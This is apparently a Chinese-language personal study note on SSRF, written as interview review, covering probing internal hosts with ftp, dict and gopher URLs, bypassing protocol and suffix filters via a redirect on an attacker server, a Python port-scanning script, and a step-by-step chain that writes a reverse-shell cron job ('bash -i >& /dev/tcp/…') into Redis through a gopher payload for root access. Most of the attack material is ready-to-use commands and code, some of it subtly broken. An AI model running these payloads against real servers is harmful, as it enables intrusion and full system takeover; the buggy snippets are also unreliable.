ssrf小结

前言

前两天面试时突然问起SSRF,这词咋这么熟悉呢!但是又想不起来具体的内容,面试结束后翻阅文档觉得很遗憾,因为之前有学习过,不过时间长没用忘掉了,特此写一篇文章加深印象!

什么是SSRF

SSRF就是服务器请求伪造(Server-Side Request Forgery),从其他服务器获取数据时可能会出现此漏洞

通用表现形式为http://127.0.0.1/ssrf.php?url=http://10.0.0.1/test.php

正常来说,此页面是在ssrf.php页面中调用10.0.0.1/test.php页面,调用是由127.0.0.1发起的,那么我们可以利用这种特性探测127.0.0.1的内网,对内网进行攻击,或者使用file协议尝试读取etc/passwd

如何判断无回显的SSRF是否存在?

可以借助DNSLOG平台检测

利用SSRF

SSRF常见的利用方式是信息收集方向,因为大部分SSRF造成的危害都不是很严重,所以SSRF经常容易被忽略,这里总结一下常见的利用方式:

FTP协议:

如果此端口开放,则页面始终处于加载状态

1
http://localhost/ssrf.php?url=ftp://ip:端口/info

相当于

1
curl -v "ftp://ip:端口/info"

dict协议:

常见dict探测

利用dict协议获取端口的详细信息,方式:

1
http://localhost/ssrf.php?url=dict://ip:端口/info

相当于

1
curl -v "dict://ip:端口/info"

利用dict操作redis

1
http://localhost/ssrf.php?dict://ip:6379/keys

相当于

1
curl -v "dict://ip:6379/keys *"

gopher协议

规则(下划线不可缺少)

1
gopher://<host>:<port>/<gopher-path>_TCP数据流

gopher获取info

1
curl -v "gopher://ip:端口/_info"

bypass

一般存在ssrf的地方大多数都限制了协议类型,仅允许http协议,可以进行一次中转使用head()函数重定向,这样就可以绕过了。

举例:

发现一处ssrf,但仅允许http协议:

1
http://localhost/ssrf.php?url=http://baidu.com

此时可以在自己的vps(假设地址为10.0.0.1)上创建ssrf.php页面,内容如下:

1
2
3
<?php 
header("Location://dict://目标IP:端口/info")
?>

此时访问:

1
http://localhost/ssrf.php?url=http://10.0.0.1/ssrf.php

就可以绕过协议限制了,但是没有回显,只能盲打,可以利用ftp的无限加载特性进行端口扫描,当端口未开放时页面加载速度特别快(网速较好),当当端口开放时加载速度就会特别慢,直到超时自动断开。

而且有些页面会判断后缀,比如限制后缀是jpg,此时可以继续添加参数绕过。

1
http://localhost/ssrf.php?url=http://10.0.0.1/ssrf.php?data=1.jpg

另外可以使用[::]来绕过localhost,如[::]:6379

例子2:

条件:服务器限制传递的url中不允许出现php这三个字符

思路:可以修改vps上apache的配置文件比如全局配置或者.htaccess,使其将jpg文件解析成php即可绕过

端口扫描

基于ftp的加载特性,可以根据超时写一个简单的常见端口扫描器:

1
2
3
4
5
6
7
8
9
10
11
import requests
def portscan(url):
ports=[3306,3389,80,443,445,21] #自定义
for port in ports:
try:
url=url+"/ssrf.php?url=http://10.0.0.1/ssrf.php?port="+port
resopnse=requests.get(url,timeout=6)
except:
print("[+]{port} open".format(port=port))
if __name__=='__main__':
portscan("http://127.0.0.1/")

gopher getshell

思路:

配合redis服务可以getshell,redis服务一般运行在内网的6379端口,利用ssrf漏洞可以进行内网扫描,如果此端口开放可以尝试getshell,因为redis服务一般运行在内网仅主机可以访问,所以默认是root权限而且没有密码,如果getshell成功那么就是root权限。

步骤:

反弹shell脚本如下,保存成.sh文件执行:

1
2
3
4
5
6
redis-cli flushall
echo -e "\n\n\n*/1 * * * * bash -i >& /dev/tcp/攻击机地址/端口 0>&1\n\n\n"|redis-cli -x set 1
redis-cli -h 受害者地址(127.0.0.1) -p 端口(6379) config set dir /var/spool/cron
redis-cli -h 受害者地址 -p 端口 config set dbfilename root
redis-cli -h 受害者地址 -p 端口 save
redis-cli -h 受害者地址 -p 端口 quit

接下来使用socat获取数据包,将6379转发到1234上

socat -v tcp-listen:1234,fork tcp-connect:localhost:6379

执行反弹shell的脚本,此时会读取到数据流:

截图

将数据流保存,并编码成gopher协议支持的形式:

先舍弃<>开头的数据,这表示请求和返回,再舍弃掉+OK的数据,表示返回的信息,在剩下的数据中,将\r替换为%0d,将\n替换成%0a,其中的$进行URL编码,此时编码就完成了,如果需要修改反弹的IP和端口,则需要同时修改上面的$62$62为写入Crontab(计划任务)中的命令长度,转码后类似下图。

截图

此时payload已经生成了,使用gopher://_+payload发起一次攻击,创建定时反弹shell任务。

gopher转换工具地址

https://github.com/tarunkant/Gopherus